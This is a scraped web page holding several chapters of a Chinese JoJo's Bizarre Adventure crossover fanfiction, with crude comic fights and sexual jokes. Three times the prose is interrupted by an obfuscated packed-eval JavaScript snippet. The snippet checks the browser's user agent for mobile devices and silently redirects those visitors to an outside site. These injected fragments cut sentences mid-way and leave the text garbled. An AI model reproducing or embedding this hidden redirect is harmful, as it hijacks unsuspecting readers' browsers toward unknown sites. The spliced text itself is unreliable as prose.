d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351784|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十:“我把我的甜点给你,你别不开心了。” ……其实我没有在生他扇了我好几个巴掌的气了,但是有蛋糕给我,不吃白不吃。 我嚼着小蛋糕,好心提醒了一下波鲁纳雷夫:“波波你突然这样会让我以为你有点gay。” “喂!我好心安慰你哎!” 后面,似乎是为了印证他真的不是gay,波鲁纳雷夫陪着一个长的很漂亮的女人去逛街了,还专门强调让我不要跟过去妨碍他。 我懂,我长的太好看了,他怕他想泡的妹子一不小心迷上我也是很正常的。 “所以这就是你突然来找我们的原因?”花京院坐在一旁的沙发上写写画画。 我点点头:“阿布德尔不知道跑哪去了,乔瑟夫去医院了,只有我们三在酒店,我不找你们找谁,找个美人去打一炮吗……哦等等对不起,我忘了你们还是未成年,哈哈哈你们当没听到算了。” “你还真是个渣男。”空条承太郎突然抽出个烟点了起来。 “我都是讲求你情我愿的。话说你这个动不动就抽烟的未成年没资格说我吧,小心晚年身体机能退化太厉害哦。” 花京院:“人年纪大了的话身体机能跟不上很正常吧……不过像乔斯达先生那个年纪还活蹦乱跳的真是少见,JOJO你们家基因一定很好吧?” 确实挺好的,尤其是仗助那前凸后翘的魔鬼身材,唉有点想念,但为了帮未来的我省点事,我还是得说正经事:“基因好归基因好,你们乔斯达家族的命运很波折啊,还是保养好吧,说不定你七老八十了还会有莫名其妙的仇敌需要去打。” 你七老八十了要打敌人别找我啊,我受够你们这群JOJO了,一个二个……等等这都五个JOJO了! 再来一个我受不了了哈,空条承太郎你去结个扎吧,东方仗助你也是,乔鲁诺你也去……你们乔斯达的血脉都去结个扎好不好。 我自愿替你们付手术费,都去结扎吧。 “从你口中听命运这个词有点奇怪。”空条承太郎突然又抽出几根烟,莫名其妙笑了一下:“我有个特技你们想看吗?” ……怎么突然这么男高,我有点适应不了。 花京院依然很捧场地说:“好啊。” 然后空条承太郎就表演了一手他的拿手好戏,他竟然一口气把五根烟全部包进他嘴里,还喝了口啤酒!而这个过程中火甚至没有灭! “你也给我根,我也想试试!”我立刻提起了兴趣。 空条承太郎正准备递给我,但突然又收了回去:“你抽过烟吗?” “没有。你那么多废话干嘛?” “不,我不给你了。” 我怎么从这小子的眼神中看出了他的意思,他是不是以为如果我失败了我会找他麻烦?!我是那么无理取闹的人吗? 我坚定地说:“不,我一定要学会!” 花京院也跟着说:“我也想试试,JOJO你教我们点窍门吧。” 空条承太郎经不住我们两个人的软磨硬泡,抽出两根烟给我们:“先从一根开始……” * 等乔瑟夫好不容易结束了与女帝替身之间心惊胆战的战斗,他扶着失了魂魄的波鲁纳雷夫回到了酒店,一打开房门就看到了他死去的挚友的血脉——霍洛在地上滚过来滚过去。 那个红毛小子在地上异常扭曲地滚过来滚过去,还伴随着不明意义的惨叫声。毫无疑问!他—— “他遭受了什么替身攻击!”乔瑟夫凭借他多年的战斗经验得出了一个毫无疑问的答案。 他看向坐在沙发上一副事不关己的外孙,失望地大喊:“同伴受到了替身攻击,你怎么可以就这样坐在一旁!” “不,乔斯达先生,霍洛他是……嗯抽烟烫到嘴了。”花京院憋着笑解释道。 那个在地上爬来爬去的红毛小子突然呜咽着说:“Q太郎我讨厌你……” 空条承太郎的嘴角微微勾起,又点了个根烟:“真是够了。” 乔瑟夫:? 40.速度与激情 “所以说,差点要和你接吻的那个美女突然喷射出发臭的不明液体,她的身子像毛毛虫被踩爆一般爆裂开,里面爬出了一个长相丑陋的人?” “啊啊啊你不要加形容词了!拜托,霍洛,你来开车吧,我想静静!” “……你被吓到了关我什么事。凭什么要我——” 我刚准备残酷地拒绝波鲁纳雷夫一把鼻涕一把泪的请求,突然想到:不对啊,这里的路段这么空旷,还没有交警会来追我,简直是飙车的绝佳路段! 而且我们现在还没有拍沙漠合照呢,也就是说我们这里没有一个人会死在交通事故里! 那我岂不是可以随便开!完美啊!我简直是个天才! 人一旦飙过一次车,那么她这一辈子都会心心念念着那种感觉了。 踩着可爱舒适的油门踏板的激动感,轮胎哐哐哗哗在地面上滑行的感觉,速度与肾上腺激素同时上升的绝妙体验感,仿佛整个人都要跟着车子一起飞起来,在脑子里开了香槟塔! 风在耳边呼啸!我在飙车!这就是自由的感觉!这就是挑战生死时速的绝妙碰撞!这就是没有交警追逐没有车挡路的通畅!简直就和去火车站女厕所发现不用排队一样舒服! 我挺开心的,但其它人不这样想。 “OMG!你开慢点!” “桀桀桀桀桀。” “你不要这样超车!车会翻的!” “桀桀桀桀桀。” 花京院惊魂未定地抓着把手,往后看了一眼,冷静点评:“后面的车都被飞起来的尘土给完全挡住了。” “额啊我有点晕车怎么办……” “喂他是不是被什么替身影响了,所以才这样开车打算把我们全部送葬!” 啧,这群人吓个屁,虽然我时速是高得吓人,如果在意大利街头这样开估计平均十米就可以随机撞死一个人,但是这里道路这么宽敞!怎么能够相提并论! 我挥挥手:“没事,放心,不会出车祸。” “你给我好好握着方向盘啊!” 正当我感受心跳百分百dokidoki的速度与激情尘土之旅时,坐在副驾驶的乔瑟夫突然猛地大吼一声:“喂!刹车!” 他声音大得快把我耳膜震破了,我下意识猛踩急刹车。 伴随着吃痛的叫声,我感受到了后座的冲击力,心虚地回头,看到了后座的四人,甚至包括扑克冷面酷哥脸的空条承太郎,都完美脱离了座位。 事已至此,先甩锅吧。 “额……是乔瑟夫突然让我刹车的!” “你这孩子怎么这样!”乔瑟夫不可置信地大叫,“不行,你给我从驾驶座下去!波鲁纳雷夫你来开!” “……好吧,但你为什么要叫我突然刹车?” 我开的正爽呢,他以为这种不会有交警追的情况很常见吗,他想干嘛。 波鲁纳雷夫的大叫声很快分散了我的注意力:“她怎么在这!” 我看向尘土消散后的路边,发现那里站着一个小女孩,哦是之前那个一直跟着我们的女孩,她在这干嘛。 这个剧情发展……我顿感不妙,摇了摇乔瑟夫:“不能让她上车啊,她肯定是什么强劲的替身使者!不然怎么会有这么巧合的事。” 乔瑟夫沉思片刻:“先让她上车吧,如果她不是替身使者,我们这样把她丢在路边可不好。” 名叫安的小女孩再次坐上了我们的车,我特别贴心地让她坐到我旁边,如果她是迪奥的部下,我一定要拿首杀! 谁也别想阻止我干掉迪奥,现在的我可是个冷酷无情的红毛男,即便是还不会爬行的婴儿也可以毫不留情地干掉! 在安刚说完她马上就要到为男孩子梳妆打扮的年纪时,我立刻问:“你说的男人不会是金发红眼的那种吧?” 安:“什么?” “霍洛。”乔瑟夫警告我。 我没理他:“这对我很重要。拜托,回答一下吧。” 我很认真地握住安的手,努力睁大眼睛想让她感受到我的真诚。 安慌乱地在我和承太郎之间看过来看过去,周围坐着的几个人一声不吭。 正当我觉得这个气氛有点奇怪时,她突然小声说:“我对金发没什么感觉啦,不过红发和黑发也不错……” ……?! 在这一刻,我顿时领悟到了周围奇怪的气氛是什么,并和这辆车上的其余人终于对上了脑电波。 我惊恐地望着脸上有着不明红晕的安,立刻触电般松开放在紧握她的手,义正言辞地声明:“我不是恋童癖!” “噗哈哈哈。” 安看上去有些羞愤,大声说:“我也不是那个意思!” “不是最好。唉,崇拜一下俊美的我很正常,理想型是我也可以理解。但是我都二十好几啦,你才多大啊!对你这种中学生有感觉的成年男人都是人渣!完全的人渣!尤其是想要和你现在就在一起的那种。完全否定!” “嘴上说着什么无法压抑那隐忍的爱,爱在阴暗的角落里肆意生长,他无法克制那汹涌澎湃的情感,额,外加一堆花啊草啊蛇啊鸟啊石头啊什么的意象。实际上只是裤子的拉链拉不上了,小头想找个洞钻钻,你千万不要……” 正当我苦口婆心地劝解安时,车外出了点意外,打断了我。 我立刻看向窗外:“什么东西?” 安如释重负般深呼一口气,花京院递给她一小块巧克力。 只有空条承太郎和我关注点相似:“那辆车……” “绝对是迪奥的部下!不可饶恕!” 我立刻直起身子,探身向前,在乔瑟夫的美式男高音下,一把从波鲁纳雷夫的手里夺过方向盘,恐吓他:“波波你听我的号令踩油门刹车,不听我话的话,今晚你睡着了我就会往你嘴里塞老鼠屎。” “喂!你好好说话我也会听你的啊。” “嗯,但是我更相信威胁的力量。”我这么一说,把方向盘向右转了个一百八十度,车里的人顿时都向左滑去,“是时候见识一下我的超绝开车技术!” “你确定我们不会先死吗!” “肯定不会啊!相信我!” 虽然这个过程中我的耳朵几乎被美式男高音和法式尖叫给震聋了,但在我比加丘还要暴躁的驾驶技术下,我成功把那辆车干翻了! “并且,这还是第一个在有乔瑟夫乘坐的情况下,遭遇了替身使者攻击依然完好无损的交通工具吧!” 到了目的地,我依然忍不住夸耀我方才的高超技术,花京院摇摇头:“安上飞机前都还没回过神呢。” 我皱起眉,嘀咕:“安竟然真的不是敌人。按照一般套路,这种人肯定都是反派吧!还是很难打的boss。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356603|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>空条承太郎锐评:“这是现实,你看jump看多了吧。” 乔瑟夫嘀咕着:“根本不需要特别强调有我乘坐吧。” 我翻了白眼:“你知道这短短的一段时间,我们弄坏了多少钱的交通工具吗?” “啊从我们离开日本开始……竟然才这么短吗?”花京院又露出了一副准备开始感慨的表情,“我还以为……” 想也不用想,这小子又要说些煽情语录了,你不要学命苦男二说话了啊!他们都死翘翘了,死的不能再死了! 我立刻打断施法:“这个小镇怎么雾蒙蒙的,这里不会是僵尸小镇吧。” 阿布德尔环视周围:“不,很正常。” “你遇到dio的那天也一样正常吧。”我忍不住吐槽。 乔瑟夫一锤定音:“总之,小心些就行。” 众所周知,我一向信任我的直觉,我真的觉得这个地方有鬼,这个不妙的感觉在我们在街上看到一个死人时达到了巅峰! 但我暂时没有行动,只是忍耐着,直到一个笑眯眯的老太婆从雾里走出来,那个老太婆面相还算和善,看着也没有什么战斗力,手还受伤了。 乍眼看,好像就是个惨兮兮没经商头脑在荒郊野外开亏本旅馆的普通老婆婆。但是——! 她看到我的第一眼,我看到了她眼里的杀意! 得益于靠谱的里苏特的指导,我对人的杀意可是很敏感的! 虽然在我和她对上视线的那一刻,她眼底的杀意就迅速消失了,但还是被身经百战的我发现了! 可是很奇怪,她看其他人就没有那种憎恶感。如果是迪奥的部下,难道不应该对JOJO敌意更大吗? 我忍着不要从后面踹飞那个蹒跚的老太 ,忍了一分钟,终于忍不住了,犹豫了一下要跟谁商量。 我突然去揍人肯定会被阻止,我需要一个人帮我挡住其它可能阻拦我的人! 首先排除乔瑟夫那个从几十年前,除了干坏事一次脑电波也没和我连上的老东西,然后是神经大条的波鲁纳雷夫,其次是没心机的阿布德尔,最后是明显尊老爱幼有道德感的花京院。 那么就只有一个选择了! 我用手肘戳了戳空条承太郎,在他背后阴森地吐词:“我觉得那个老太婆有鬼。” 空条承太郎竟然和我想法相同!他点点头:“先观察。” ……这么稳重?好吧,那我也稳重点,我可是靠谱的成年人。 “那么就先麻烦客人们登记下名字了,我去给你们端点可乐,客人们想要喝什么呢哦呵呵呵……” “有红茶吗?” “没有。” “绿茶。” “没有哦。” “可乐?” “也没有。” 点单全失败的波鲁纳雷夫立刻不耐烦地问:“那你们这有什么啊!” “白开水哦。” 我盯着话唠开始和老太婆唠嗑的波鲁纳雷夫,从承太郎手里接过登记册的,定睛一看,发现承太郎竟然在登记册上留名:Q太郎。 “……看不出来你挺喜欢这个外号的。”我低声说,并随手签上我的大名。 空条承太郎没说话,这里的灯光有点灰暗,他的眼睛被帽檐投射下来阴影挡住,我看不清他的眼睛,只能想到: 这个高冷扑克脸又在装酷。 41.淘气拐杖婆婆 我趴在地板上听着楼下的动静。 有个人进了旅馆,身高约莫一米八以上,经过充分锻炼,穿着厚重的靴子,步伐矫健,估计身手不错……呵呵大半夜突然来这里,来者不善啊。 “霍洛,地板很脏,你等会洗个澡再睡觉。”拥有洁癖的波鲁纳雷夫忍不住出声提醒我。 我翻了个白眼,利索地从地上爬起来:“饿了,我要去整点吃的。” 波鲁纳雷夫拍拍手,一把从床上爬起来:“我和你一起去。” ……我是准备去单杀楼下那两个可能是敌人的人的,这个没眼力见的波鲁纳雷夫想干嘛。 算了,懒得管。如果他碍事的话,我就趁乱把他敲晕,然后甩锅给恩雅婆。 我边下楼边大声地说:“哇,好饿啊,要是现在有薯条吃就好了!我好想吃薯条哇,薯条哇薯条我们喜欢你,薯条哇——” 我的薯条之歌唱到一半,一道微不可察的嗖嗖声向我的手臂方向直冲而来,我立刻一个翻滚准备避开,这个子弹的方向却跟着我变化。 这个熟悉的感觉!又来一个米斯达,我的妈呀,子弹替身给我滚! 我大喊:“约旦河!” 约旦河随之出现,两手一掐,离我的手臂只有两厘米的子弹被它夹住了。 我长呼一口气,却突然想到一个奇怪的点:敌人可以操控子弹追踪我,那么他为什么不直接射杀我,而是…… 波鲁纳雷夫看到突然出现的约旦河才反应过来刚刚那一秒内发生了什么,他的替身——漂亮的银色战车随之出现在他身后,他表情肃穆:“敌人在哪里!” “咔嘎嘎嘎嘎桀桀桀桀桀……”从暗处传来了一个无比欠揍的狂笑声,一改方才装傻充愣模样的恩雅婆婆面带阴暗的表情出现。 而她身后,站着一个高大的西部牛仔打扮的飒爽男子,他五官俊朗,周身有着一种迷之自恋感,即便是我也完全不想夸一句他很帅。 他叼着根烟头:“竟然能够躲过我【皇帝】的子弹,不愧是迪奥大人的血亲。” ……? 那一瞬间,我顿时产生了一种脑部充血感,大脑飞速地处理了无数条信息夹杂着一些与迪奥的不妙回忆。 我猛地感受到了心脏被掐住的揪痛感,然后我立刻回过神来: 不行,现在的问题根本不是迪奥怎么发现了我,又告诉这群家伙什么……以迪奥的性子肯定不会告诉他们太多,至于他是如何猜到我和格蕾丝就是同一个人,他又知道了多少,这根本不重要。重要的是,我不能让波鲁纳雷夫以为我和迪奥有联系。 何况,他的话本来就是错的,格蕾丝和迪奥有血缘关系,关我霍洛什么事!完全没问题。 理清了思路后,我即刻转头,用一种“什么你竟然是迪奥的血亲!”的充满不信任的表情瞪眼看向波鲁纳雷夫。 波鲁纳雷夫不可置信地指着自己,疯狂摇头:“我不是啊,我是法国人,他英国人,我们国籍都不一样!” 那乔鲁诺还是意大利人呢。 我:“他不做人那么多年,早就没国籍这个说法了。” 牛仔男露出了一副深思的表情,恩雅婆立刻大声说:“荷尔荷斯!不要和他们废话了!快点解决他们!” 名叫荷尔荷斯的牛仔男立刻掏出枪,毫无疑问,他的替身能力和枪有关,那恩雅婆的替身又和什么有关? 我边猜测恩雅婆的替身能力,边掏出我的枪,也朝着荷尔荷斯崩了几发。 顺带一提,这是里苏特送给我的最新型号的枪支,论性能肯定是我的要更好,当然枪法肯定也是我更厉害! 不过荷尔荷斯的子弹也是替身,可以追踪我这是个问题。但问题不大,我可以开门传送。 波鲁纳雷夫:“不对,霍洛!那家伙的子弹轨道根本没有朝着我们的致命点攻击,他完全是乱打的!” 乱打?不对劲……难道他是为了给恩雅婆创造机会? 正当我试图通过荷尔荷斯的行为,猜测和他做队友的恩雅婆是什么类型的替身时,四周弥漫起浓白的大雾,从那雾后,恩雅婆的背后缓缓走出了好几个僵尸般的人。 她发出了“咔啊啊啊西裤西裤”的不明叫声,突然取下她缠绕在左手的纱布,露出了一双畸形的手—— 她的两只手竟然都是右手模样!和我刚来这里干掉的第一个让人作呕的男人一样!就是那个被我剁下老二的丑男啊! “看你那副样子,你想起来了吧!我可怜的儿子J.凯尔就惨死在你的手上!呜呜呜啊啊可恶,我单纯可爱的儿子啊——”她边说还边痛苦地掏出把剪刀咔嚓咔嚓挥舞。 我震惊地打断她的发癫:“单纯可爱??!你疯了吧!我都不敢自卖自夸单纯可爱,yue,我要被恶心吐了!yue。” 波鲁纳雷夫听到那番话也跟着我一起假呕。在我们两个此起彼伏的干呕声中,恩雅婆的表情逐渐阴沉。 他阴毒的眼神钉在我身上,想把我碎尸万段的想法丝毫不掩藏:“迪奥大人说不要杀了你,我会听从迪奥大人的指令。但是在那之前,我要把其它五个人全部杀光,把你捆到迪奥大人面前去!” ……滚,迪奥你不要过来啊啊啊啊!都一百多年了,你别惦记和你妹搞骨科没成这事了啊啊啊啊!变态啊! 波鲁纳雷夫顿时反应过来:“你又诓我?迪奥的血亲是指你!” “啊啊啊听不见,先打敌人,一致对外啊!波波!”我立刻叫出约旦河,让它飞过去揍恩雅婆,可她背后的人却突然冲出来掏出一把刀想要刺伤约旦河,但约旦河两只怪异的手一握,那把刀就被掰断了。 恩雅婆气急败坏,跳脚:“可恶!只要有一点点伤口出现,我的雾之替身【正义】就可以操控你了!可恶!荷尔荷斯!你还傻愣着做什么!” “不好!恩雅婆的能力竟然是这个,原来那个牛仔乱打是因为只要在我们身上创造出伤口,恩雅婆就可以把我们变成傀儡!可恶!”波鲁纳雷夫大叫着。 几发子弹直直朝我冲来,与此同此那些被恩雅婆操控的活死人也举着大大小小的武器朝我涌过来。 我当机立断拉开一道传送门,一把刀朝荷尔荷斯砍去,砍中了他的肩膀,荷尔荷斯发出一声惨叫,昏迷了过去。 然后我一手举着荷尔荷斯,把他当成棍子一般挥舞,阻挡着活尸的攻击,一边指挥约旦河攻击活尸。 波鲁纳雷夫恍然大悟:“原来如此!你是想用荷尔荷斯做肉盾来防御!这些活死人的武器都不够给穿着厚重牛仔装备的荷尔荷斯留下伤口,是个极佳的护盾!” 我没吭声,只是忍耐,再次拉开一道传送门,准备直接穿送到恩雅婆身边,可我传送后攻击到的人并不是恩雅婆,而是另一个活死人。 “哈哈哈哈你吸了我的雾气就只能看到幻觉啦哈哈哈哈哈!”恩雅婆留下一长串阴笑,在这家旅馆里回荡。 波鲁纳雷夫又明白了:“正义不具有实体无法砍伤,所以只能直接去攻击本人,可她的雾气却有致幻的功能,完全找不到她本人在哪里,这该怎么办!” 又一波活死人朝我涌来,我终于忍不住崩溃大喊,边喊边拖着荷尔荷斯的身体,举着他当肉盾:“你有功夫在那解说怎么不和我一起来打!” 恩雅婆顿时回过神来:“对!还有波鲁纳雷夫!我儿子要不是因为你妹妹又怎么会被这小子给弄死!你也该死!咔啊嘎嘎嘎嘎嘎嘎嘎嘎——” “红毛小子我不能杀死他以解心头之恨,但你,波鲁纳雷夫!我一定要把你的老二砍下来再把你弄死咔啊嘎嘎嘎嘎嘎……” 波鲁纳雷夫的银色替身立刻随之出现,提起剑准备砍碎那些活尸,但是活尸实在是太多了,根本砍不过来! 眼见着他马上要被一个满地乱 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顽皮老太婆露出一丝精明而淘气的笑容,伸出舌头舔了舔唇周,正当我以为她看上了法国甜心的美色,要逼波鲁纳雷夫和她舌吻时,她突然说:“去把厕所给我舔干净吧!桀桀桀桀桀桀!” 然后波鲁纳雷夫就真的被舌头牵引着逐渐靠近那个脏得堪比屎壳郎帝国的蹲厕去了!啊啊啊啊感觉就算是蟑螂爬进那个蹲厕都会被熏出来啊啊啊啊! 我不敢看了啊啊啊啊啊啊啊!这种替身也太bug了吧!喂! “接下来就是你了!”恩雅婆突然一个蹦高,蹦到了有她身高两倍的高度,边蹦哒边发出“咔啊啊啊啊”的高昂叫声! 毫无疑问!她已经杀红眼了! “迪奥大人说了不能取你性命,但可没说不能让你吃吃苦头!”恩雅婆婆发出狂笑声,“我要把你的老二切下来剁碎给我儿子复仇!咔啊嘎嘎嘎嘎桀桀桀桀!” ……你对老二到底是有多执念啊,你想要自己去买一个假的不可以吗! 这什么恐怖拐杖变态老太婆!简直是怪谈恐怖故事原型啊! 看着即将去舔厕所的波鲁纳雷夫,我人生中第一次萌生了恐惧的感觉,在面对卡兹,吉良吉影和迪亚波罗时我都没有这么害怕过! 此时不学乔瑟夫更待何时! 我当机立断,转身拉开传送门:“波鲁纳雷夫,再见!” “喂!救救我啊!”舌头即将碰到厕所的波鲁纳雷夫崩溃大喊。 “大难临头各自飞!下次一定!” 我拉开传送门,来到了大厅,两眼一黑。 整个大厅,地上站着的,乱爬的,扒着柱子的,吊在天花板上的……密密麻麻全是活死人!这群活死人跟一不小心被踩毁了蚁穴的白蚁一般涌了出来。 我要破防了。 整个镇的活死人都涌过来了。 三楼的乔瑟夫阿布德尔花京院承太郎,hello?你们在干嘛?excuse me?哦嗨哟?安宁哈塞呦?你们有事吗? 你们是被下药迷昏过去了吗?这家破烂旅馆隔音效果差到小情侣都不会选这里睡觉,你们是怎么做到毫无感觉的啊! 在我边拉开传送门,边面对这群从天上扑过来的,地上乱爬的,玩叠叠乐的……各种各样活死人,我只想到了空条承太郎沉稳的一句“先观察”。 喂喂喂!你观察到哪去了!去外太空了吗! “空条承太郎,你耳朵聋了吗!我弄出的动静这么大,你给我滚下来啊!” “呀勒呀勒。” 空条承太郎突然出现楼梯的正上方,一手扶着他的帽子,一手叉着腰,摆着他那很帅但丝毫不顾我死活的姿势:“这里情况还真混乱。” 我一边砍碎活死人,一边驱使约旦河去揍飞背后的活死人,大叫:“别装帅了,少摆你那pose!波鲁纳雷夫都要把蹲坑给舔得发亮了啊喂!” 42.第 42 章 恩雅婆的替身【正义】是雾之替身,不具有实体,所以任何攻击都无法落实到她的替身身上。 一般来说,这种替身使者,我会选择直接去攻击本体。虽然恩雅婆周围全是活死人护着很难直接莽到她前面,但我一向头铁,这根本不是问题。 但谁能猜到空条承太郎怎么解决恩雅婆的替身的? 谁能猜得到啊! 他竟然让白金之星把所有雾气全部吸进肺里去了??!这是人想得到的解决方式吗! 面对我的震惊,空条承太郎眼底闪过一丝有些自得的小情绪:“我只是觉得这么做能够成功。” ……我能说什么,我看了看约旦河没有五官的脸,只能说:“你真厉害,不过原来你不是扑克脸啊,我以为你一直都一个表情来着。” “……”空条承太郎不说话,只是掏出了个小本本写了点什么。 他还写日记? 我对他的隐私没什么兴趣,看他在写日记就没有自讨没趣去找他搭话了。 空条承太郎解决掉可怕的恩雅婆后,我终于敢松口气了,并暗自下定决心下次我不头铁了。 这种操控人的替身也太可怕了!她竟然还不直接杀掉人,而是让人去舔厕所!这纯折磨啊! 这时我才突然想起厕所的波鲁纳雷夫,心虚地拿了瓶酒精去找他,波鲁纳雷夫一把夺过酒精,一句话也不说,用充满控诉的眼神看着我。 我低头道歉:“……对不起。” “就这样?!”波鲁纳雷夫震惊地看着我,然后嘴一撇:“算了,有件更重要的事情需要确认……” 在我不安定的心跳声里,他认真地问我:“荷尔荷斯为什么会说你是迪奥的血亲?” 这小子平时不是都很没心眼的吗?怎么就开始在意这些问题了! 我思考着该从哪个地方说起,波鲁纳雷夫的神情逐渐低沉,然后他猛地站起来:“算了,你不说就不说吧!只要你不要在最后突然反水就行了!” 末了,他似乎又想到了什么,低声说:“虽然我是为了报答你救了我妹妹的恩情才加入讨伐dio的行列,但是如果你最后会突然背叛大家投敌……”他顿住了,眼下有点泛红,啧了一声准备转身离开。 我连忙拉住他:“我刚刚只是在思考,你不要脑补这么多啊!” 波鲁纳雷夫双手环抱在胸前:“那你说,现在就说,你想到一点就说一点!不要跟我说你需要组织语言,我不知道你到底是在组织语言还是准备思考好怎么诓骗我!” “……我拥有死而复活的能力,这个能力可以把我的意识投射在我不同时空的同位体身上,只要和乔斯达的血脉共同完成一次他们宿命中必须要经历的战斗,我就能复活。在我很小的时候我就死过一次,那次复活所投射的同位体的身份是迪奥的妹妹,但严格意义上来说,只有那具同位体才和他有血缘关系,我本人实际上和他一点关系也没有。而且……” “停!”波鲁纳雷夫震惊地看着我,张了张嘴,又憋不出什么话,我感觉他的脑子现在光速运转,过了好一会,他才问: “所,所以,你其实是迪奥的妹妹?但你为什么会有……”他说着眼睛往我□□瞟去。 我立刻捂住:“你是法国佬不是英国佬!不要盯着别人的老二不放啊!” “我不是那个意思!不对,你刚刚肯定又在耍我吧!不对,你很少这么认真跟我说话,难道又是新型骗术,可怎么会有人的替身拥有死而复活……” 波鲁纳雷夫又陷入了新的头脑风暴,这可不妙,花京院他们要下楼了。 我立刻捂住他的嘴,警告:“这件事我只告诉你,你不能告诉任何人!我是确定告诉你不会有任何问题才告诉你的,如果多一个人知道或许就会发生不好的事情,懂了吗?” “所以那是真的?那你到底是男人还是女人!”波鲁纳雷夫的关注点发生了奇妙的转移,“……你以前跟我说你本来就是女人不是开玩笑?!!” 我嘶嘶道;“你小声点。” 我恨不得掐住他脖子让他小声点,但如果我这么干,他肯定要跟我置气了。 波鲁纳雷夫羞愤地压低声音:“那你之前和我一直住一间房!我,我……” “我现在是男人,懂了吗。你难道非要我现在脱下裤子给你看吗?!” 这个对话到底为什么这么抓马,这是对我见死不救的惩罚吗。 还好波鲁纳雷夫没有让我当场脱裤子给他鉴定……那样真的太gay了,太gay了!我真的承受不住那么gay的场景啊! 这个夜晚对我也太糟糕了吧,一会来个疯狂拐杖变态老太婆想切我老二,一会我又不得不主动提出脱裤子来证明我现在是货真价实的男人……这是什么屌之夜吗。 波鲁纳雷夫一副吃了屎的表情,表情复杂地盯着我,嘴角不停抽搐……然后在花京院过来后,他开始放空大脑了。 他拒绝和我说话。不知道是还没有理清我刚刚那一大段话,还是还在生我的气……总之,他拒绝和我说话。 直到被我们发现这个恐怖小镇是恩雅婆利用幻术造出来的,原址其实只是一片墓地,然后被我砍了一刀的荷尔荷斯突然诈尸,开走了我们的越野车—— 波鲁纳雷夫都没有跟我说话。甚至在乔瑟夫买到一辆马车坐上去后,他都抢着要和阿布德尔一样坐在马车第一排! 马车最后一排放着被捆好的陷入昏迷的恩雅婆,虽然我很反对带上她这件事,但乔瑟夫坚持“或许从她身上能够获得关于迪奥替身的情报”,带她上了马车。 我表情复杂地坐到花京院旁边,仔细思考了一下,然后问:“小花,接下来如果一定要住酒店,我和你住一间房吧。” 花京院:“嗯?你和波鲁纳雷夫吵架了?因为你对他去舔蹲厕见死不救?” “……空条承太郎告诉你的?” “啊。” “你们还真是高中生。” 花京院同意后,我开始闭目休息。 或许是因为恩雅婆就在我后面那一排,睡梦中我梦到了恩雅婆在我的手上开了个洞,她的替身正义控制住了我,然后她带着她标志性的“咔啊嘎嘎桀桀桀”笑声,举着咔擦咔擦的剪刀挥舞着向我的老二进攻—— “霍洛!快醒醒!” 花京院猛地摇醒我,把我从“疯狂老太想砍我屌”梦里拯救了出来。 我惊恐地喘着气,被花京院猛地拉下车,还没缓过神来,就看见恩雅婆的眼球和嘴里拱出了无数条又粗又长的蚯蚓。 那些蚯蚓像是从她身体长出来一样,发了疯似的疯狂扭动,与此同时那些被蚯蚓粗壮的□□撑开的小洞爆出了鲜血。 我突然感觉胃部一阵翻滚,扒着花京院的臂膀,弯腰开始干呕,但又因为我没吃什么饭,所以什么也没吐出来,只是喉管辣辣的,脑子跟被绳子栓住了一样。 “那些触手……是肉芽!迪奥的肉芽!”花京院震惊地大喊。 什么情况? 在我还没反应过来这是怎么回事时,波鲁纳雷夫的银色战车抽出剑,砍掉那些触手,这一刻他好像根本不在意恩雅婆害他舔厕所这事,只是一心想要救这个可怜老太婆。 这时,一个有些眼生的男人突然开口:“这是迪奥大人的肉芽成长后的形态,恩雅婆婆,你不要以为是你教了迪奥大人替身是如何使用的,迪奥大人就会信任你这个渺小的女人……” 又是迪奥,他还进化出了如此恶心的肉芽。 我又想吐了。 乔瑟夫想要让恩雅婆在死前告诉他迪奥的替身秘密,但是恩雅婆依然拒绝了他,大喊着“迪奥大人还是信任我的!”就这样死去了。 搞不懂,蠢货。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378665|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论是完成了任务就自杀的贝利可罗,还是这个被迪奥杀死依然对他毫无怨怼的恩雅婆婆,我都无法理解这种信仰大于一切的人的想法。 不过他们怎么选择也和我没关系,别影响到我的计划就行了。 我看向那个被迪奥派来杀恩雅婆的……额,没听他说话,不知道是谁。感觉有点奇怪,这种敢直接单枪匹马出现在我们六个人面前的人可没几个,他的替身不会很强劲吧? * 事实证明,强劲的替身使者不一定敢1v6,但是可以耍阴招的替身使者敢。 这个长相还算标正的迪奥的部下,阿丹,拥有替身【恋人】。这个替身的能力和它的名字很相似,它的替身非常小,小刀可以潜入一个人的脑子,然后寄居在那人脑子里,如果阿丹受到了伤害,它的替身就会在那人脑子里搞点破坏,让被寄居者承受比阿丹严重几倍的疼痛。 真的把两个人像恋人一样绑定在一起了啊! 而且他的恋人对象还是乔瑟夫?! 我看着嗷嗷大叫的乔瑟夫,第一次感受到了:这个世界还是小人过得舒服啊。 